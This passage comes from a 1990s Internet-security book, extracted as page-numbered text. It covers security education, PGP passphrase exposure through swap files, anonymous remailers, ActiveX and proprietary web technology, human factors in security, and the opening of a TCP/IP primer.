Information \n" }, { "page_number": 66, "text": " \n \nFor so many reasons, education in security is wanting. In the future, specialists need to \naddress this need in a more practical fashion. There must be some suitable means of \nnetworking this information. To be fair, some organizations have attempted to do so, but \nmany are forced to charge high prices for their hard-earned databases. The National \nComputer Security Association (NCSA) is one such organization. Its RECON division \ngathers some 70MB per day of hot and heavy security information. Its database is \nsearchable and is available for a price, but that price is substantial. \n \nCross Reference: To learn more about NCSA RECON, examine its FAQ. NCSA's \ndatabase offers advanced searching capabilities, and the information held there is \ndefinitely up-to-date. In short, it is a magnificent service. The FAQ is at \nhttp://www.isrecon.ncsa.com/public/faq/isrfaq.htm. You can also \nget a general description of what the service is by visiting \nhttp://www.isrecon.ncsa.com/docz/Brochure_Pages/effect.htm. \n \nMany organizations do offer superb training in security and firewall technology. The \nprice for such training varies, depending on the nature of the course, the individuals \ngiving it, and so on. One good source for training is Lucent Technologies, which offers \nmany courses on security. \n \nCross Reference: Lucent Technologies' WWW site can be found at \nhttp://www.attsa.com/. \n \n \nNOTE: Appendix A, \"How to Get More Information,\" contains a massive listing of \nsecurity training resources as well as general information about where to acquire good \nsecurity information. \n \nDespite the availability of such training, today's average company is without a clue. In a \ncaptivating report (Why Safeguard Information?) from Abo Akademi University in \nFinland, researcher Thomas Finne estimated that only 15 percent of all Finnish \ncompanies had an individual employed expressly for the purpose of information security. \nThe researcher wrote: \nThe result of our investigation showed that the situation had got even worse; this is very alarming. \nPesonen investigated the security in Finnish companies by sending out questionnaires to 453 \ncompanies with over 70 employees. The investigation showed that those made responsible for \ninformation security in the companies spent 14.5 percent of their working time on information \nsecurity. In an investigation performed in the UK over 80 percent of the respondents claimed to \nhave a department or individual responsible for information technology (IT) security. \nThe Brits made some extraordinary claims! \"Of course we have an information security \ndepartment. Doesn't everyone?\" In reality, the percentage of companies that do is likely \nfar less. One survey conducted by the Computer Security Institute found that better than \n50 percent of all survey participants didn't even have written security policies and \nprocedures. \nThe Problems with PC-Based Operating Systems \n" }, { "page_number": 67, "text": " \n \nIt should be noted that in America, the increase in servers being maintained by those new \nto the Internet poses an additional education problem. Many of these individuals have \nused PC-based systems for the whole of their careers. PC-based operating systems and \nhardware were never designed for secure operation (although, that is all about to change). \nTraditionally, PC users have had less-than close contact with their vendors, except on \nissues relating to hardware and software configuration problems. This is not their fault. \nThe PC community is market based and market driven. Vendors never sold the concept \nof security; they sold the concept of user friendliness, convenience, and standardization \nof applications. In these matters, vendors have excelled. The functionality of some PC-\nbased applications is extraordinary. \nNonetheless, programmers are often brilliant in their coding and design of end-user \napplications but have poor security knowledge. Or, they may have some security \nknowledge but are unable to implement it because they cannot anticipate certain \nvariables. Foo (the variable) in this case represents the innumerable differences and \nsubtleties involved with other applications that run on the same machine. These will \nundoubtedly be designed by different individuals and vendors, unknown to the \nprogrammer. It is not unusual for the combination of two third-party products to result in \nthe partial compromise of a system's security. Similarly, applications intended to provide \nsecurity can, when run on PC platforms, deteriorate or otherwise be rendered less secure. \nThe typical example is the use of the famous encryption utility Pretty Good Privacy \n(PGP) when used in the Microsoft Windows environment. \nPGP PGP operates by applying complex algorithms. These operations result in very \nhigh-level encryption. In some cases, if the user so specifies, using PGP can provide \nmilitary-level encryption to a home user. The system utilizes the public key/private key \npair scenario. In this scenario, each message is encrypted only after the user provides a \npassphrase, or secret code. The length of this passphrase may vary. Some people use the \nentire first line of a poem or literary text. Others use lines in a song or other phrases that \nthey will not easily forget. In any event, this passphrase must be kept completely secret. \nIf it is exposed, the encrypted data can be decrypted, altered, or otherwise accessed by \nunauthorized individuals. \nIn its native state, compiled for MS-DOS, PGP operates in a command-line interface or \nfrom a DOS prompt. This in itself presents no security issue. The problem is that many \npeople find this inconvenient and therefore use a front-end, or a Microsoft Windows-\nbased application through which they access the PGP routines. When the user makes use \nof such a front-end, the passphrase gets written into the Windows swap file. If that swap \nfile is permanent, the passphrase can be retrieved using fairly powerful machines. I've \ntried this on several occasions with machines differently configured. With a 20MB swap \nfile on an IBM compatible DX66 sporting 8-16MB of RAM, this is a formidable task that \nwill likely freeze the machine. This, too, depends on the utility you are using to do the \nsearch. Not surprisingly, the most effective utility for performing such a search is GREP. \n \nNOTE: GREP is a utility that comes with many C language packages. It also comes \nstock on any UNIX distribution. GREP works in a way quite similar to the FIND.EXE \ncommand in DOS. Its purpose is to search specified files for a particular string of text. \n" }, { "page_number": 68, "text": " \n \nFor example, to find the word SEARCH in all files with a *.C extension, you would issue \nthe following command: \nGREP SEARCH *.C \nThere are free versions of GREP available on the Internet for a variety of \noperating systems, including but not limited to UNIX, DOS, OS/2, and 32-\nbit Microsoft Windows environments. \n \nIn any event, the difficulty factor drops drastically when you use a machine with \nresources in excess of 100MHz and 32MB of RAM. \nMy point is this: It is by no fault of the programmer of PGP that the passphrase gets \ncaught in the swap. PGP is not flawed, nor are those platforms that use swapped memory. \nNevertheless, platforms that use swapped memory are not secure and probably never will \nbe. \n \nCross Reference: For more information about PGP, visit \nhttp://web.mit.edu/network/pgp.html. This is the MIT PGP distribution \nsite for U.S. residents. PGP renders sufficiently powerful encryption that certain versions \nare not available for export. Exporting such versions is a crime. The referenced site has \nmuch valuable information about PGP, including a FAQ, a discussion of file formats, \npointers to books, and of course, the free distribution of the PGP software. \n \nThus, even when designing security products, programmers are often faced with \nunforeseen problems over which they can exert no control. \n \nTIP: Techniques of secure programming (methods of programming that enhance security \non a given platform) are becoming more popular. These assist the programmer in \ndeveloping applications that at least won't weaken network security. Chapter 30, \n\"Language, Extensions, and Security,\" addresses some secure programming techniques as \nwell as problems generally associated with programming and security. \n \nThe Internet's Design \nWhen engineers were put to the task of creating an open, fluid, and accessible Internet, \ntheir enthusiasm and craft were, alas, too potent. The Internet is the most remarkable \ncreation ever erected by humankind in this respect. There are dozens of ways to get a job \ndone on the Internet; there are dozens of protocols with which to do it. \nAre you having trouble retrieving a file via FTP? Can you retrieve it by electronic mail? \nWhat about over HTTP with a browser? Or maybe a Telnet-based BBS? How about \nGopher? NFS? SMB? The list goes on. \nHeterogeneous networking was once a dream. It is now a confusing, tangled mesh of \ninternets around the globe. Each of the protocols mentioned forms one aspect of the \nmodern Internet. Each also represents a little network of its own. Any machine running \nmodern implementations of TCP/IP can utilize all of them and more. Security experts \nhave for years been running back and forth before a dam of information and protocols, \n" }, { "page_number": 69, "text": " \n \nplugging the holes with their fingers. Crackers, meanwhile, come armed with icepicks, \ntesting the dam here, there, and everywhere. \nPart of the problem is in the Internet's basic design. Traditionally, most services on the \nInternet rely on the client/server model. The task before a cracker, therefore, is a limited \none: Go to the heart of the service and crack that server. \nI do not see that situation changing in the near future. Today, client/server programming \nis the most sought-after skill. The client/server model works effectively, and there is no \nviable replacement at this point. \nThere are other problems associated with the Internet's design, specifically related to the \nUNIX platform. One is access control and privileges. This is covered in detail in Chapter \n17, \"UNIX: The Big Kahuna,\" but I want to mention it here. \nIn UNIX, every process more or less has some level of privilege on the system. That is, \nthese processes must have, at minimum, privilege to access the files they are to work on \nand the directories into which those files are deposited. In most cases, common processes \nand programs are already so configured by default at the time of the software's shipment. \nBeyond this, however, a system administrator may determine specific privilege schemes, \ndepending on the needs of the situation. The system administrator is offered a wide \nvariety of options in this regard. In short, system administrators are capable of restricting \naccess to one, five, or 100 people. In addition, those people (or groups of people) can also \nbe limited to certain types of access, such as read, write, execute, and so forth. \nIn addition to this system being complex (therefore requiring experience on the part of \nthe administrator), the system also provides for certain inherent security risks. One is that \naccess privileges granted to a process or a user may allow increased access or access \nbeyond what was originally intended to be obtained. For example, a utility that requires \nany form of root access (highest level of privilege) should be viewed with caution. If \nsomeone finds a flaw within that program and can effectively exploit it, that person will \ngain a high level of access. Note that strong access-control features have been integrated \ninto the Windows NT operating system and therefore, the phenomenon is not exclusively \nrelated to UNIX. Novell NetWare also offers some very strong access-control features. \nAll these factors seriously influence the state of security on the Internet. There are clearly \nhundreds of little things to know about it. This extends into heterogeneous networking as \nwell. A good system administrator should ideally have knowledge of at least three \nplatforms. This brings us to another consideration: Because the Internet's design is so \ncomplex, the people who address its security charge substantial prices for their services. \nThus, the complexity of the Internet also influences more concrete considerations. \nThere are other aspects of Internet design and composition that authors often cite as \nsources of insecurity. For example, the Net allows a certain amount of anonymity; this \nissue has good and bad aspects. The good aspects are that individuals who need to \ncommunicate anonymously can do so if need be. \nAnonymity on the Net \n" }, { "page_number": 70, "text": " \n \nThere are plenty of legitimate reasons for anonymous communication. One is that people \nliving in totalitarian states can smuggle out news about human rights violations. (At least, \nthis reason is regularly tossed around by media people. It is en vogue to say such things, \neven though the percentage of people using the Internet for this noble activity is \nincredibly small.) Nevertheless, there is no need to provide excuses for why anonymity \nshould exist on the Internet. We do not need to justify it. After all, there is no reason why \nAmericans should be forbidden from doing something on a public network that they can \nlawfully do at any other place. If human beings want to communicate anonymously, that \nis their right. \nMost people use remailers to communicate anonymously. These are servers configured to \naccept and forward mail messages. During that process, the header and originating \naddress are stripped from the message, thereby concealing its author and his or her \nlocation. In their place, the address of the anonymous remailer is inserted. \n \nCross Reference: To learn more about anonymous remailers, check out the FAQ at \nhttp://www.well.com/user/abacard/remail.html. This FAQ provides \nmany useful links to other sites dealing with anonymous remailers. \n \nAnonymous remailers (hereafter anon remailers) have been the subject of controversy in \nthe past. Many people, particularly members of the establishment, feel that anon \nremailers undermine the security of the Internet. Some portray the situation as being \ndarker than it really is: \nBy far the greatest threat to the commercial, economic and political viability of the Global \nInformation Infrastructure will come from information terrorists... The introduction of Anonymous \nRe-mailers into the Internet has altered the capacity to balance attack and counter-attack, or crime \nand punishment.1 \n \n1Paul A. Strassmann, U.S. Military Academy, West Point; Senior Advisor, SAIC and \nWilliam Marlow, Senior Vice President, Science Applications International Corporation \n(SAIC). January 28-30, 1996. Symposium on the Global Information Infrastructure: \nInformation, Policy & International Infrastructure. \n \nI should explain that the preceding document was delivered by individuals associated \nwith the intelligence community. Intelligence community officials would naturally be \nopposed to anonymity, for it represents one threat to effective, domestic intelligence-\ngathering procedures. That is a given. Nevertheless, one occasionally sees even \njournalists making similar statements, such as this one by Walter S. Mossberg: \nIn many parts of the digital domain, you don't have to use your real name. It's often impossible to \nfigure out the identity of a person making political claims...When these forums operate under the \ncloak of anonymity, it's no different from printing a newspaper in which the bylines are admittedly \nfake, and the letters to the editor are untraceable. \nThis is an interesting statement. For many years, the U.S. Supreme Court has been \nunwilling to require that political statements be accompanied by the identity of the \nauthor. This refusal is to ensure that free speech is not silenced. In early American \nhistory, pamphlets were distributed in this manner. Naturally, if everyone had to sign \ntheir name to such documents, potential protesters would be driven into the shadows. \nThis is inconsistent with the concepts on which the country was founded. \n" }, { "page_number": 71, "text": " \n \nTo date, there has been no convincing argument for why anon remailers should not exist. \nNevertheless, the subject remains engaging. One amusing exchange occurred during a \nhearing in Pennsylvania on the constitutionality of the Communications Decency Act, an \nact brought by forces in Congress that were vehemently opposed to pornographic images \nbeing placed on the Internet. The hearing occurred on March 22, 1996, before the \nHonorable Dolores K. Sloviter, Chief Judge, United States Court of Appeals for the Third \nCircuit. The case was American Civil Liberties Union, et al (plaintiffs) v. Janet Reno, the \nAttorney General of the United States. The discussion went as follows: \nQ: Could you explain for the Court what Anonymous Remailers are? \n \nA: Yes, Anonymous Remailers and their -- and a related service called Pseudonymity Servers are \ncomputer services that privatize your identity in cyberspace. They allow individuals to, for \nexample, post content for example to a Usenet News group or to send an E-mail without knowing \nthe individual's true identity. \n \nThe difference between an anonymous remailer and a pseudonymity server is very important \nbecause an anonymous remailer provides what we might consider to be true anonymity to the \nindividual because there would be no way to know on separate instances who the person was who \nwas making the post or sending the e-mail. \n \nBut with a pseudonymity server, an individual can have what we consider to be a persistent \npresence in cyberspace, so you can have a pseudonym attached to your postings or your e-mails, \nbut your true identity is not revealed. And these mechanisms allow people to communicate in \ncyberspace without revealing their true identities. \n \nQ: I just have one question, Professor Hoffman, on this topic. You have not done any study \nor survey to sample the quantity or the amount of anonymous remailing on the Internet, \ncorrect? \n \nA: That's correct. I think by definition it's a very difficult problem to study because these are \npeople who wish to remain anonymous and the people who provide these services wish to remain \nanonymous. \nIndeed, the court was clearly faced with a catch-22. In any case, whatever one's position \nmight be on anonymous remailers, they appear to be a permanent feature of the Internet. \nProgrammers have developed remailer applications to run on almost any operating \nsystem, allowing the little guy to start a remailer with his PC. \n \nCross Reference: If you have more interest in anon remailers, visit \nhttp://www.cs.berkeley.edu/~raph/remailer-list.html. This site \ncontains extensive information on these programs, as well as links to personal anon \nremailing packages and other software tools for use in implementing an anonymous \nremailer. \n \nIn the end, e-mail anonymity on the Internet has a negligible effect on real issues of \nInternet security. The days when one could exploit a hole by sending a simple e-mail \nmessage are long gone. Those making protracted arguments against anonymous e-mail \nare either nosy or outraged that someone can implement a procedure that they cannot. If \ne-mail anonymity is an issue at all, it is for those in national security. I readily admit that \nspies could benefit from anonymous remailers. In most other cases, however, the \nargument expends good energy that could be better spent elsewhere. \n" }, { "page_number": 72, "text": " \n \nProprietarism \nYes, another ism. Before I start ranting, I want to define this term as it applies here. \nProprietarism is a practice undertaken by commercial vendors in which they attempt to \ninject into the Internet various forms of proprietary design. By doing so, they hope to \ncreate profits in an environment that has been previously free from commercial reign. It \nis the modern equivalent of Colonialism plus Capitalism in the computer age on the \nInternet. It interferes with Internet security structure and defeats the Internet's capability \nto serve all individuals equally and effectively. \nActiveX \nA good example of proprietarism in action is Microsoft Corporation's ActiveX \ntechnology. \n \nCross Reference: Those users unfamiliar with ActiveX technology should visit \nhttp://www.microsoft.com/activex/. Users who already have some \nexperience with ActiveX should go directly to the Microsoft page that addresses the \nsecurity features: http://www.microsoft.com/security/. \n \nTo understand the impact of ActiveX, a brief look at HTML would be instructive. HTML \nwas an incredible breakthrough in Internet technology. Imagine the excitement of the \nresearchers when they first tested it! It was (and still is) a protocol by which any user, on \nany machine, anywhere in the world could view a document and that document, to any \nother user similarly (or not similarly) situated, would look pretty much the same. What an \nextraordinary breakthrough. It would release us forever from proprietary designs. \nWhether you used a Mac, an Alpha, an Amiga, a SPARC, an IBM compatible, or a tire \nhub (TRS-80, maybe?), you were in. You could see all the wonderful information \navailable on the Net, just like the next guy. Not any more. \nActiveX technology is a new method of presenting Web pages. It is designed to interface \nwith Microsoft's Internet Explorer. If you don't have it, forget it. Most WWW pages \ndesigned with it will be nonfunctional for you either in whole or in part. \nThat situation may change, because Microsoft is pushing for ActiveX extensions to be \nincluded within the HTML standardization process. Nevertheless, such extensions \n(including scripting languages or even compiled languages) do alter the state of Internet \nsecurity in a wide and encompassing way. \nFirst, they introduce new and untried technologies that are proprietary in nature. Because \nthey are proprietary, the technologies cannot be closely examined by the security \ncommunity. Moreover, these are not cross platform and therefore create limitations to the \nNet, as opposed to heterogeneous solutions. To examine the problem firsthand you may \nwant to visit a page established by Kathleen A. Jackson, Team Leader, Division Security \nOffice, Computing, Information, and Communications Division at the Los Alamos \nNational Laboratory. Jackson points to key problems in ActiveX. On her WWW page, \nshe writes: \n" }, { "page_number": 73, "text": " \n \n...The second big problem with ActiveX is security. A program that downloads can do anything \nthe programmer wants. It can reformat your hard drive or shut down your computer... \nThis issue is more extensively covered in a paper delivered by Simon Garfinkel at Hot \nWired. When Microsoft was alerted to the problem, the solution was to recruit a company \nthat created digital signatures for ActiveX controls. This digital signature is supposed to \nbe signed by the control's programmer or creator. The company responsible for this \ndigital signature scheme has every software publisher sign a software publisher's pledge, \nwhich is an agreement not to sign any software that contains malicious code. If a user \nsurfs a page that contains an unsigned control, Microsoft's Internet Explorer puts up a \nwarning message box that asks whether you want to accept the unsigned control. \n \nCross Reference: Find the paper delivered by Simon Garfinkel at Hot Wired at \nhttp://www.packet.com/packet/garfinkel/. \n \nYou cannot imagine how absurd this seems to security professionals. What is to prevent a \nsoftware publisher from submitting malicious code, signed or unsigned, on any given \nWeb site? If it is signed, does that guarantee that the control is safe? The Internet at large \nis therefore resigned to take the software author or publisher at his or her word. This is \nimpractical and unrealistic. And, although Microsoft and the company responsible for the \nsigning initiative will readily offer assurances, what evidence is there that such signatures \ncannot be forged? More importantly, how many small-time programmers will bother to \nsign their controls? And lastly, how many users will refuse to accept an unsigned control? \nMost users confronted with the warning box have no idea what it means. All it represents \nto them is an obstruction that is preventing them from getting to a cool Web page. \nThere are now all manner of proprietary programs out there inhabiting the Internet. Few \nhave been truly tested for security. I understand that this will become more prevalent and, \nto Microsoft's credit, ActiveX technology creates the most stunning WWW pages \navailable on the Net. These pages have increased functionality, including drop-down \nboxes, menus, and other features that make surfing the Web a pleasure. Nevertheless, \nserious security studies need to be made before these technologies foster an entirely new \nfrontier for those pandering malicious code, viruses, and code to circumvent security. \n \nCross Reference: To learn more about the HTML standardization process, visit the site \nof the World Wide Web Consortium (http://www.w3.org). If you already know a \nbit about the subject but want specifics about what types of HTML tags and extensions \nare supported, you should read W3C's activity statement on this issue \n(http://www.w3.org/pub/WWW/MarkUp/Activity). One interesting area of \ndevelopment is W3C's work on support for the disabled. \n \nProprietarism is a dangerous force on the Internet, and it's gaining ground quickly. To \ncompound this problem, some of the proprietary products are excellent. It is therefore \nperfectly natural for users to gravitate toward these applications. Users are most \nconcerned with functionality, not security. Therefore, the onus is on vendors, and this is a \nproblem. If vendors ignore security hazards, there is nothing anyone can do. One cannot, \nfor example, forbid insecure products from being sold on the market. That would be an \nunreasonable restraint of interstate commerce and ground for an antitrust claim. Vendors \n" }, { "page_number": 74, "text": " \n \ncertainly have every right to release whatever software they like, secure or not. At \npresent, therefore, there is no solution to this problem. \nExtensions, languages, or tags that probably warrant examination include \n• \nJavaScript \n• \nVBScript \n• \nActiveX \nJavaScript is owned by Netscape, and VBScript and ActiveX are owned by Microsoft. \nThese languages are the weapons of the war between these two giants. I doubt that either \ncompany objectively realizes that there's a need for both technologies. For example, \nNetscape cannot shake Microsoft's hold on the desktop market. Equally, Microsoft cannot \nsupply the UNIX world with products. The Internet would probably benefit greatly if \nthese two titans buried the hatchet in something besides each other. \nThe Trickling Down of Technology \nAs discussed earlier, there is the problem of high-level technology trickling down from \nmilitary, scientific, and security sources. Today, the average cracker has tools at his or \nher disposal that most security organizations use in their work. Moreover, the machines \non which crackers use these tools are extremely powerful, therefore allowing faster and \nmore efficient cracking. \nGovernment agencies often supply links to advanced security tools. At these sites, the \ntools are often free. They number in the hundreds and encompass nearly every aspect of \nsecurity. In addition to these tools, government and university sites also provide very \ntechnical information regarding security. For crackers who know how to mine such \ninformation, these resources are invaluable. Some key sites are listed in Table 5.1. \nTable 5.1. Some major security sites for information and tools. \nSite \nAddress \nPurdue University http://www.cs.purdue.edu//coast/archive/ \nRaptor Systems \nhttp://www.raptor.com/library/library.html \nThe Risks Forum http://catless.ncl.ac.uk/Risks \nFIRST \nhttp://www.first.org/ \nDEFCON \nhttp://www.defcon.org/ \nThe level of technical information at such sites is high. This is in contrast to many fringe \nsites that provide information of little practical value to the cracker. But not all fringe \nsites are so benign. Crackers have become organized, and they maintain a wide variety of \nservers on the Internet. These are typically established using free operating systems such \nas Linux or FreeBSD. Many such sites end up establishing a permanent wire to the Net. \nOthers are more unreliable and may appear at different times via dynamic IP addresses. I \nshould make it clear that not all fringe sites are cracking sites. Many are legitimate \nhacking stops that provide information freely to the Internet community as a service of \n" }, { "page_number": 75, "text": " \n \nsorts. In either case, both hackers and crackers have been known to create excellent Web \nsites with voluminous security information. \nThe majority of cracking and hacking sites are geared toward UNIX and IBM-compatible \nplatforms. There is a noticeable absence of quality information for Macintosh users. In \nany event, in-depth security information is available on the Internet for any interested \nparty to view. \nSo, the information is trafficked. There is no solution to this problem, and there shouldn't \nbe. It would be unfair to halt the education of many earnest, responsible individuals for \nthe malicious acts of a few. So advanced security information and tools will remain \navailable. \nHuman Nature \nWe have arrived at the final (and probably most influential) force at work in weakening \nInternet security: human nature. Humans are, by nature, a lazy breed. To most users, the \nsubject of Internet security is boring and tedious. They assume that the security of the \nInternet will be taken care of by experts. \nTo some degree, there is truth to this. If the average user's machine or network is \ncompromised, who should care? They are the only ones who can suffer (as long as they \nare not connected to a network other than their own). The problem is, most will be \nconnected to some other network. The Internet is one enterprise that truly relies on the \nstrength of its weakest link. I have seen crackers work feverishly on a single machine \nwhen that machine was not their ultimate objective. Perhaps the machine had some trust \nrelationship with another machine that was their ultimate objective. To crack a given \nregion of cyberspace, crackers may often have to take alternate or unusual routes. If one \nworkstation on the network is vulnerable, they are all potentially vulnerable as long as a \nrelationship of trust exists. \nAlso, you must think in terms of the smaller businesses because these will be the great \nmajority. These businesses may not be able to withstand disaster in the same way that \nlarger firms can. If you run a small business, when was the last time you performed a \ncomplete backup of all information on all your drives? Do you have a disaster-recovery \nplan? Many companies do not. This is an important point. I often get calls from \ncompanies that are about to establish permanent connectivity. Most of them are \nunprepared for emergencies. \nMoreover, there are still two final aspects of human nature that influence the evolution of \nsecurity on the Internet. Fear is one. Most companies are fearful to communicate with \noutsiders regarding security. For example, the majority of companies will not tell anyone \nif their security has been breached. When a Web site is cracked, it is front-page news; this \ncannot be avoided. When a system is cracked in some other way (with a different point of \nentry), press coverage (or any exposure) can usually be avoided. So, a company may \nsimply move on, denying any incident, and secure its network as best it can. This \ndeprives the security community of much-needed statistics and data. \n" }, { "page_number": 76, "text": " \n \nThe last human factor here is curiosity. Curiosity is a powerful facet of human nature that \neven the youngest child can understand. One of the most satisfying human experiences is \ndiscovery. Investigation and discovery are the things that life is really made of. We learn \nfrom the moment we are born until the moment that we die, and along that road, every \nshred of information is useful. Crackers are not so hard to understand. It comes down to \nbasics: Why is this door is locked? Can I open it? As long as this aspect of human \nexperience remains, the Internet may never be entirely secure. Oh, it will be ultimately be \nsecure enough for credit-card transactions and the like, but someone will always be there \nto crack it. \nDoes the Internet Really Need to Be Secure? \nYes. The Internet does need to be secure and not simply for reasons of national security. \nToday, it is a matter of personal security. As more financial institutions gravitate to the \nInternet, America's financial future will depend on security. Many users may not be \naware of the number of financial institutions that offer online banking. One year ago, this \nwas a relatively uncommon phenomenon. Nevertheless, by mid-1996, financial \ninstitutions across the country were offering such services to their customers. Here are a \nfew: \n• \nWells Fargo Bank \n• \nSanwa Bank \n• \nBank of America \n• \nCity National Bank of Florida \n• \nWilber National Bank of Oneonta, New York \n• \nThe Mechanics Bank of Richmond, California \n• \nCOMSTAR Federal Credit Union of Gaithersburg, Maryland \nThe threat from lax security is more than just a financial one. Banking records are \nextremely personal and contain revealing information. Until the Internet is secure, this \ninformation is available to anyone with the technical prowess to crack a bank's online \nservice. It hasn't happened yet (I assume), but it will. \nAlso, the Internet needs to be secure so that it does not degenerate into one avenue of \ndomestic spying. Some law-enforcement organizations are already using Usenet spiders \nto narrow down the identities of militia members, militants, and other political \nundesirables. The statements made by such people on Usenet are archived away, you can \nbe sure. This type of logging activity is not unlawful. There is no constitutional protection \nagainst it, any more than there is a constitutional right for someone to demand privacy \nwhen they scribble on a bathroom wall. \nPrivate e-mail is a different matter, though. Law enforcement agents need a warrant to tap \nsomeone's Internet connection. To circumvent these procedures (which could become \nwidespread), all users should at least be aware of the encryption products available, both \n" }, { "page_number": 77, "text": " \n \nfree and commercial (I will discuss this and related issues in Part VII of this book, \"The \nLaw\"). \nFor all these reasons, the Internet must become secure. \nCan the Internet Be Secure? \nYes. The Internet can be secure. But in order for that to happen, some serious changes \nmust be made, including the heightening of public awareness to the problem. Most users \nstill regard the Internet as a toy, an entertainment device that is good for a couple of hours \non a rainy Sunday afternoon. That needs to change in coming years. \nThe Internet is likely the single, most important advance of the century. Within a few \nyears, it will be a powerful force in the lives of most Americans. So that this force may be \noverwhelmingly positive, Americans need to be properly informed. \nMembers of the media have certainly helped the situation, even though media coverage \nof the Internet isn't always painfully accurate. I have seen the rise of technology columns \nin newspapers throughout the country. Good technology writers are out there, trying to \nbring the important information home to their readers. I suspect that in the future, more \nnewspapers will develop their own sections for Internet news, similar to those sections \nallocated for sports, local news, and human interest. \nEqually, many users are security-aware, and that number is growing each day. As public \neducation increases, vendors will meet the demand of their clientele. \nSummary \nIn this chapter, I have established the following: \n• \nThe Internet is not secure. \n• \nEducation about security is lacking. \n• \nProprietary designs are weakening Internet security. \n• \nThe availability of high-grade technological information both strengthens and weakens Net \nsecurity. \n• \nThere is a real need for Internet security. \n• \nInternet security relies as much on public as private education. \nThose things having been established, I want to quickly examine the consequences of \npoor Internet security. Thus, in the next chapter, I will discuss Internet warfare. After \ncovering that subject, I will venture into entirely new territory as we begin to explore the \ntools and techniques that are actually applied in Internet security. \n" }, { "page_number": 78, "text": " \n \n6 \nA Brief Primer on TCP/IP \nThis chapter examines the Transmission Control Protocol (TCP) and the Internet Protocol \n(IP). These two protocols (or networked methods of data transport) are generally referred \nto together as TCP/IP. \nYou can read this chapter thoroughly to gain an in-depth understanding of how \ninformation is routed across the Internet or you can use this chapter as an extended \nglossary, referring to it only when encountering unfamiliar terms later in this book. \nThe chapter begins with fundamental concepts and closes with a comprehensive look at \nTCP/IP. The chapter is broken into three parts. The first part answers some basic \nquestions you might have, including \n• \nWhat is TCP/IP? \n• \nWhat is the history of TCP/IP? \n• \nWhat platforms support TCP/IP? \nThe second portion of the chapter addresses how TCP/IP actually works. In that portion, I \nwill focus on the most popular services within the TCP/IP suite. These services (or modes \nof transport) comprise the greater portion of the Internet as we know it today. \nThe final portion of this chapter explores key TCP/IP utilities with which each user must \nbecome familiar. These utilities are of value in maintenance and monitoring of any \nTCP/IP network. \nNote that this chapter is not an exhaustive treatment of TCP/IP. It provides only the \nminimum knowledge needed to continue reading this book. Throughout this chapter, \nhowever, I supply links to documents and other resources from which the reader can gain \nan in-depth knowledge of TCP/IP. \nTCP/IP: The Basics \nThis section is a quick overview of TCP/IP. It is designed to prepare you for various \nterms and concepts that arise within this chapter. It assumes no previous knowledge of IP \nprotocols. \nWhat Is TCP/IP? \nTCP/IP refers to two network protocols (or methods of data transport) used on the \nInternet. They are Transmission Control Protocol and Internet Protocol, respectively. \nThese network protocols belong to a larger collection of protocols, or a protocol suite. \nThese are collectively referred to as the TCP/IP suite. \n" }, { "page_number": 79, "text": " \n \nProtocols within the TCP/IP suite work together to provide data transport on the Internet. \nIn other words, these protocols provide nearly all services available to today's Net surfer. \nSome of those services include \n• \nTransmission of electronic mail \n• \nFile transfers \n• \nUsenet news delivery \n• \nAccess to the World Wide Web \nThere are two classes of protocol within the TCP/IP suite, and I will address both in the \nfollowing pages. Those two classes are \n• \nThe network-level protocol \n• \nThe application-level protocol \nNetwork-Level Protocols \nNetwork-level protocols manage the discrete mechanics of data transfer. These protocols \nare typically invisible to the user and operate deep beneath the surface of the system. For \nexample, the IP protocol provides packet delivery of the information sent between the \nuser and remote machines. It does this based on a variety of information, most notably \nthe IP address of the two machines. Based on this and other information, IP guarantees \nthat the information will be routed to its intended destination. Throughout this process, IP \ninteracts with other network-level protocols engaged in data transport. Short of using \nnetwork utilities (perhaps a sniffer or other device that reads IP datagrams), the user will \nnever see IP's work on the system. \nApplication-Level Protocols \nConversely, application-level protocols are visible to the user in some measure. For \nexample, File Transfer Protocol (FTP) is visible to the user. The user requests a \nconnection to another machine to transfer a file, the connection is established, and the \ntransfer begins. During the transfer, a portion of the exchange between the user's machine \nand the remote machine is visible (primarily error messages and status reports on the \ntransfer itself, for example, how many bytes of the file have been transferred at any given \nmoment). \nFor the moment, this explanation will suffice: TCP/IP refers to a collection of protocols \nthat facilitate communication between machines over the Internet (or other networks \nrunning TCP/IP). \nThe History of TCP/IP \nIn 1969, the Defense Advanced Research Projects Agency (DARPA) commissioned \ndevelopment of a network over which its research centers might communicate. Its chief \n" }, { "page_number": 80, "text": " \n \nconcern was this network's capability to withstand a nuclear attack. In short, if the Soviet \nUnion launched a nuclear attack, it was imperative that the network remain intact to \nfacilitate communication. The design of this network had several other requisites, the \nmost important of which was this: It had to operate independently of any centralized \ncontrol. Thus, if 1 machine was destroyed (or 10, or 100), the network would remain \nimpervious. \nThe prototype for this system emerged quickly, based in part on research done in 1962 \nand 1963. That prototype was called ARPANET. ARPANET reportedly worked well, but \nwas subject to periodic system crashes. Furthermore, long-term expansion of that \nnetwork proved costly. A search was initiated for a more reliable set of protocols; that \nsearch ended in the mid-1970s with the development of TCP/IP. \nTCP/IP had significant advantages over other protocols. For example, TCP/IP was \nlightweight (it required meager network resources). Moreover, TCP/IP could be \nimplemented at much lower cost than the other choices then available. Based on these \namenities, TCP/IP became exceedingly popular. In 1983, TCP/IP was integrated into \nrelease 4.2 of Berkeley Software Distribution (BSD) UNIX. Its integration into \ncommercial forms of UNIX soon followed, and TCP/IP was established as the Internet \nstandard. It has remained so (as of this writing). \nAs more users flock to the Internet, however, TCP/IP is being reexamined. More users \ntranslates to greater network load. To ease that network load and offer greater speeds of \ndata transport, some researchers have suggested implementing TCP/IP via satellite \ntransmission. Unfortunately, such research has thus far produced dismal results. TCP/IP \nis apparently unsuitable for this implementation. \nToday, TCP/IP is used for many purposes, not just the Internet. For example, intranets are \noften built using TCP/IP. In such environments, TCP/IP can offer significant advantages \nover other networking protocols. One such advantage is that TCP/IP works on a wide \nvariety of hardware and operating systems. Thus, one can quickly and easily create a \nheterogeneous network using TCP/IP. Such a network might have Macs, IBM \ncompatibles, Sun Sparcstations, MIPS machines, and so on. Each of these can \ncommunicate with its peers using a common protocol suite. For this reason, since it was \nfirst introduced in the 1970s, TCP/IP has remained extremely popular. In the next section, \nI will discuss implementation of TCP/IP on various platforms. \nWhat Platforms Support TCP/IP? \nMost platforms support TCP/IP. However, the quality of that support can vary. Today, \nmost mainstream operating systems have native TCP/IP support (that is, TCP/IP support \nthat is built into the standard operating system distribution). However, older operating \nsystems on some platforms lack such native support. Table 6.1 describes TCP/IP support \nfor various platforms. If a platform has native TCP/IP support, it is labeled as such. If not, \nthe name of a TCP/IP application is provided. \nTable 6.1. 